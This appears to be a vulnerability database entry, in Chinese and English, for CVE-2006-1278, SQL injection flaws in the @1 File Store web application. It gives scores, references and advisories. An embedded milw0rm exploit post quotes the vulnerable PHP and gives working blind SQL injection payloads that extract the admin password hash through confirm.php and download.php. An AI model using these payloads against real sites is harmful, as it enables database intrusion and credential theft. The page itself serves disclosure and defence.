CVE-2006-1278
CVSS6.8
发布时间 :2006-03-19 06:06:00
修订时间 :2011-08-08 00:00:00
NMCOES    

[原文]SQL injection vulnerability in @1 File Store 2006.03.07 allows remote attackers to execute arbitrary SQL commands via the id parameter to (1) functions.php and (2) user.php in the libs directory, (3) edit.php and (4) delete.php in control/files/, (5) edit.php and (6) delete.php in control/users/, (7) edit.php, (8) access.php, and (9) in control/folders/, (10) access.php and (11) delete.php in control/groups/, (12) confirm.php, and (13) download.php; (14) the email parameter in password.php, and (15) the id parameter in folder.php. NOTE: it was later reported that vectors 12 and 13 also affect @1 File Store PRO 3.2.


[CNNVD]@1文件存储 SQL注入漏洞(CNNVD-200603-327)

        在@1 File Store 2006.03.07中存在SQL注入漏洞 ,远程攻击者可通过以下途径执行任意SQL命令:id参数,用于在libs目录中的(1) functions.php和(2) user.php,在control/files/中的(3) edit.php和(4) delete.php,在control/users/中的(5) edit.php和(6) delete.php,(7) edit.php,(8) access.php,和(9)在control/folders/中,在 in control/groups/中的(10) access.php和(11) delete.php,(12) confirm.php,和(13) download.php;在password.php中的(14)email参数,和在folder.php中的 (15) id参数。注:后面的报告称向量12和13也影响到@1 File Store PRO 3.2。

- CVSS (基础分值)

CVSS分值: 6.8 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-89 [SQL命令中使用的特殊元素转义处理不恰当(SQL注入)]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1278
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1278
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-327
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/43724
(UNKNOWN)  XF  filestorepro-download-file-include(43724)
http://xforce.iss.net/xforce/xfdb/43718
(UNKNOWN)  XF  filestorepro-id-sql-injection(43718)
http://xforce.iss.net/xforce/xfdb/25183
(UNKNOWN)  XF  filestore-multiple-sql-injection(25183)
http://www.vupen.com/english/advisories/2006/0943
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0943
http://www.securityfocus.com/bid/30182
(UNKNOWN)  BID  30182
http://www.securityfocus.com/bid/17090
(UNKNOWN)  BID  17090
http://www.securityfocus.com/archive/1/archive/1/428659/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060324 [eVuln] @1 File Store Multiple XSS and SQL Injection Vulnerabilities
http://www.osvdb.org/24106
(UNKNOWN)  OSVDB  24106
http://www.osvdb.org/23864
(UNKNOWN)  OSVDB  23864
http://www.osvdb.org/23863
(UNKNOWN)  OSVDB  23863
http://www.osvdb.org/23862
(UNKNOWN)  OSVDB  23862
http://www.osvdb.org/23861
(UNKNOWN)  OSVDB  23861
http://www.osvdb.org/23860
(UNKNOWN)  OSVDB  23860
http://www.osvdb.org/23859
(UNKNOWN)  OSVDB  23859
http://www.osvdb.org/23858
(UNKNOWN)  OSVDB  23858
http://www.osvdb.org/23857
(UNKNOWN)  OSVDB  23857
http://www.osvdb.org/23856
(UNKNOWN)  OSVDB  23856
http://www.osvdb.org/23855
(UNKNOWN)  OSVDB  23855
http://www.osvdb.org/23854
(UNKNOWN)  OSVDB  23854
http://www.osvdb.org/23853
(UNKNOWN)  OSVDB  23853
http://www.osvdb.org/23852
(UNKNOWN)  OSVDB  23852
http://www.osvdb.org/23851
(UNKNOWN)  OSVDB  23851
http://www.milw0rm.com/exploits/6040
(UNKNOWN)  MILW0RM  6040
http://www.attrition.org/pipermail/vim/2009-August/002246.html
(UNKNOWN)  VIM  20090825 @1 File Store PRO SQL injection - the old gray dupe
http://securitytracker.com/id?1015826
(UNKNOWN)  SECTRACK  1015826
http://securityreason.com/securityalert/619
(UNKNOWN)  SREASON  619
http://secunia.com/advisories/31063
(VENDOR_ADVISORY)  SECUNIA  31063
http://secunia.com/advisories/19224
(VENDOR_ADVISORY)  SECUNIA  19224
http://osvdb.org/47018
(UNKNOWN)  OSVDB  47018
http://osvdb.org/47017
(UNKNOWN)  OSVDB  47017
http://evuln.com/vulns/95/summary.html
(UNKNOWN)  MISC  http://evuln.com/vulns/95/summary.html

- 漏洞信息

@1文件存储 SQL注入漏洞
中危 SQL注入
2006-03-19 00:00:00 2009-08-28 00:00:00
远程  
        在@1 File Store 2006.03.07中存在SQL注入漏洞 ,远程攻击者可通过以下途径执行任意SQL命令:id参数,用于在libs目录中的(1) functions.php和(2) user.php,在control/files/中的(3) edit.php和(4) delete.php,在control/users/中的(5) edit.php和(6) delete.php,(7) edit.php,(8) access.php,和(9)在control/folders/中,在 in control/groups/中的(10) access.php和(11) delete.php,(12) confirm.php,和(13) download.php;在password.php中的(14)email参数,和在folder.php中的 (15) id参数。注:后面的报告称向量12和13也影响到@1 File Store PRO 3.2。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (6040)

File Store PRO 3.2 Multiple Blind SQL Injection Vulnerabilities (EDBID:6040)
php webapps
2008-07-11 Verified
0 Nu Am Bani
N/A [点击下载]
________________________________________
| File Store PRO 3.2 Blind SQL Injection |
|________________________________________|


Download from: http://upoint.info/cgi/demo/fs/filestore.zip

- Need admin rights:
/confirm.php:
[code]

if(isset($_GET["folder"]) && $_GET["folder"]!="") {
 $folder=$_GET["folder"];
} else {
  exit("Bad Request");
 }
if(isset($_GET["id"]) && $_GET["id"]!="") {
 $id=$_GET["id"];
} else {
  exit("Bad Request");
 }

// Validate all inputs
// Added by SepedaTua on June 01, 2006 - http://www.sepedatua.info/
/********************** SepedaTua ****************************/

/* Fields:
$folder
$id
*/
$search = array ('@<script[^>]*?>.*?</script>@si',
                '@<[\/\!]*?[^<>]*?>@si',
                '@([\r\n])[\s]+@',
                '@&(quot|#34);@i',
                '@&(amp|#38);@i',
                '@&(lt|#60);@i',
                '@&(gt|#62);@i',
                '@&(nbsp|#160);@i',
                '@&(iexcl|#161);@i',
                '@&(cent|#162);@i',
                '@&(pound|#163);@i',
                '@&(copy|#169);@i',
                '@&#(\d+);@e');

$replace = array ('',
                 '',
                 '\1',
                 '"',
                 '&',
                 '<',
                 '>',
                 ' ',
                 chr(161),
                 chr(162),
                 chr(163),
                 chr(169),
                 'chr(\1)');

$ffolder = $folder;
$fid = $id;

$folder = preg_replace($search, $replace, $folder);
$id = preg_replace($search, $replace, $id); 

-----

$SQL="SELECT `".DB_PREFIX."users`.*, `".DB_PREFIX."file_list`.`filename`, `".DB_PREFIX."file_list`.`descript` ";
$SQL.=" FROM `".DB_PREFIX."file_list` LEFT JOIN `".DB_PREFIX."users` ON `".DB_PREFIX."file_list`.`user_id`=`".DB_PREFIX."users`.`id`";
$SQL.=" WHERE `".DB_PREFIX."file_list`.`id`='".$id."'";
if(!$mysql->query($SQL))
{
 exit($mysql->error);
}
if($mysql->num<=0)
{
 exit("Record not found");
} 
[/code]

POC: 
' UNION SELECT IF (SUBSTRING(password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from fstore_users where login='admin 
Site: http://site.xxx/confirm.php?folder=a&id=[SQL]

- Don't need admin rights:
In /download.php:
[code]
if(!isset($_GET["sig"])) // direct download, no need to login
$MustLogin=1|2|4;
require_once("libs/header.php");
if(!isset($_GET["sig"])) // direct download, no need to login
$userlevel=$CurUser->getlevel();
$SQL="SELECT * FROM `".DB_PREFIX."file_list` WHERE `id`='".$fileid."'";
if(!$mysql->query($SQL))
{
 exit($mysql->error);
} 
[/code]

POC:
' UNION SELECT IF (SUBSTRING(password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11 from fstore_users where login='admin
Site: 
http://site.xxx/download.php?id=[SQL] 

Needs magic_quotes_gpc=off. Vendor not contacted !

--------------------------------------------------------------------

Site: http://rstcenter.com
Site: http://de-ce.net

Good luck !

--------------------------------------------------------------------

# milw0rm.com [2008-07-11]
		

- 漏洞信息

23851
@1 File Store password.php Multiple Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity

- 漏洞描述

@1 File Store contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the password.php script not properly sanitizing user-supplied input to the 'email' or 'id' variables. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-03-11 Unknow
2006-03-21 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

@1 File Store Multiple Input Validation Vulnerabilities
Input Validation Error 17090
Yes No
2006-03-14 12:00:00 2007-02-20 04:06:00
Aliaksandr Hartsuyeu discovered these vulnerabilities.

- 受影响的程序版本

Upoint @1 File Store 2006.3.7

- 漏洞讨论

@1 File Store is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input.

A successful exploit could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

- 漏洞利用

Attackers can exploit these issues via a web client.

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: mailto:vuldb@securityfocus.com

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站